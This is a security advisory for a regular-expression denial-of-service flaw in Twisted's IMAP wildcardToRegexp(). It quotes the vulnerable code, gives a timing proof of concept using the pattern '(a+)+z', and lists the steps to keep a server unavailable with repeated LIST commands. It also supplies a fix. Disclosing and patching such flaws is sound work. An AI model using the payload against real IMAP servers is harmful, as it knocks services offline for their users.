Twisted: IMAP wildcardToRegexp() ReDoS
What fixes it
No source in this snapshot names a fixed version. The vendor advisories under References are the place to check.
Description
Summary
wildcardToRegexp() in twisted/mail/imap4.py converts IMAP LIST/LSUB wildcard patterns to Python regular expressions. It substitutes the two IMAP wildcards (* → (?:.*?) and % → (?:(?:[^\\/])*?)) but passes every other character through unchanged to re.compile(). This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as (a+)+z.
Because Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes all I/O on the server for the duration of the match.
---
Vulnerable Code
twisted/mail/imap4.py
# line 4595
def wildcardToRegexp(wildcard, delim=None):
wildcard = wildcard.replace("*", "(?:.*?)")
if delim is None:
wildcard = wildcard.replace("%", "(?:.*?)")
else:
wildcard = wildcard.replace("%", "(?:(?:[^%s])*?)" % re.escape(delim))
return re.compile(wildcard, re.I) # ← user input compiled verbatim# line 4993
class MemoryAccountWithoutNamespaces:
def listMailboxes(self, ref, wildcard):
ref = self._inferiorNames(_parseMbox(ref.upper()))
wildcard = wildcardToRegexp(wildcard, "/") # ← user-supplied wildcard
return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]---
Proof of Concept
from twisted.mail.imap4 import wildcardToRegexp
import time
rx = wildcardToRegexp("(a+)+z", "/")
for n in [20, 22, 24, 26, 28]:
victim = "a" * n
t0 = time.perf_counter()
rx.match(victim)
print(f"n={n}: {time.perf_counter() - t0:.3f}s")Output on Twisted 25.5.0:
[*] Compiled regex: '(a+)+z'
[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()
n time
--- ----------
20 0.153s
22 0.651s
24 2.941s
26 14.545s
28 55.019sTiming doubles roughly every two characters (exponential growth), confirming catastrophic backtracking.
---
Impact
Twisted's reactor is single-threaded and cooperative. A blocking re.match() call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs. A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.
An attacker who can register an account (or obtain credentials through other means) can:
CREATEa mailbox whose name is an exponential-blowup trigger string.- Issue
LIST "" "(a+)+z"(or equivalent ReDoS pattern). - Repeat at ~1-minute intervals to keep the server permanently unavailable.
No exploit code or special privileges beyond an IMAP login are required.
---
Fix
Escape non-wildcard characters before compiling:
def wildcardToRegexp(wildcard, delim=None):
# Split on the two IMAP wildcards, escape everything else
parts = re.split(r'([*%])', wildcard)
result = []
for p in parts:
if p == '*':
result.append('(?:.*?)')
elif p == '%':
if delim is None:
result.append('(?:.*?)')
else:
result.append('(?:(?:[^%s])*?)' % re.escape(delim))
else:
result.append(re.escape(p)) # ← escape all other characters
return re.compile(''.join(result), re.I)Alternatively, apply re.escape() to the entire wildcard first, then substitute the (now-escaped) \* and \% tokens back with their regex equivalents.
Text from GitHub Advisory Database
Affected versions 53
- Twisted, pip<= 26.4.0GitHub
- twistedaffected: <= 25.5.0CVE List
- twisted, PyPIfrom first release, through 26.4.0OSV
- twisted, PyPI1.0.1OSV
- twisted, PyPI1.0.3OSV
- twisted, PyPI1.0.4OSV
- twisted, PyPI1.0.5OSV
- twisted, PyPI1.0.6OSV
- twisted, PyPI1.0.7OSV
- twisted, PyPI1.1.0OSV
- twisted, PyPI1.1.1OSV
- twisted, PyPI1.2.0OSV
- twisted, PyPI10.0.0OSV
- twisted, PyPI10.1.0OSV
- twisted, PyPI10.2.0OSV
- twisted, PyPI11.0.0OSV
- twisted, PyPI11.1.0OSV
- twisted, PyPI12.0.0OSV
- twisted, PyPI12.1.0OSV
- twisted, PyPI12.2.0OSV
- twisted, PyPI12.3.0OSV
- twisted, PyPI13.0.0OSV
- twisted, PyPI13.1.0OSV
- twisted, PyPI13.2.0OSV
- twisted, PyPI14.0.0OSV
- twisted, PyPI14.0.1OSV
- twisted, PyPI14.0.2OSV
- twisted, PyPI15.0.0OSV
- twisted, PyPI15.1.0OSV
- twisted, PyPI15.2.0OSV
- twisted, PyPI15.2.1OSV
- twisted, PyPI15.3.0OSV
- twisted, PyPI15.4.0OSV
- twisted, PyPI15.5.0OSV
- twisted, PyPI16.0.0OSV
- twisted, PyPI16.1.0OSV
- twisted, PyPI16.1.1OSV
- twisted, PyPI16.2.0OSV
- twisted, PyPI16.3.0OSV
- twisted, PyPI16.3.1OSV
- twisted, PyPI16.3.2OSV
- twisted, PyPI16.4.0OSV
- twisted, PyPI16.4.1OSV
- twisted, PyPI16.5.0OSV
- twisted, PyPI16.5.0rc1OSV
- twisted, PyPI16.5.0rc2OSV
- twisted, PyPI16.6.0OSV
- twisted, PyPI16.6.0rc1OSV
- twisted, PyPI16.7.0rc1OSV
- twisted, PyPI16.7.0rc2OSV
- twisted, PyPI17.1.0OSV
- twisted, PyPI17.1.0rc1OSV
- twisted, PyPI17.5.0OSV
References 5
- github.com/twisted/twisted/commit/2f8a3c29246f4eb324690e06a9767a11dc4aec9fFixvia CVE List
- github.com/advisories/GHSA-8pqf-f4m5-798gAdvisoryvia GitHub
- github.com/twisted/twisted/security/advisories/GHSA-8pqf-f4m5-798gExploitvia CVE List
- nvd.nist.gov/vuln/detail/CVE-2026-106454Referencevia GitHub
- github.com/twisted/twisted/pull/12788Referencevia CVE List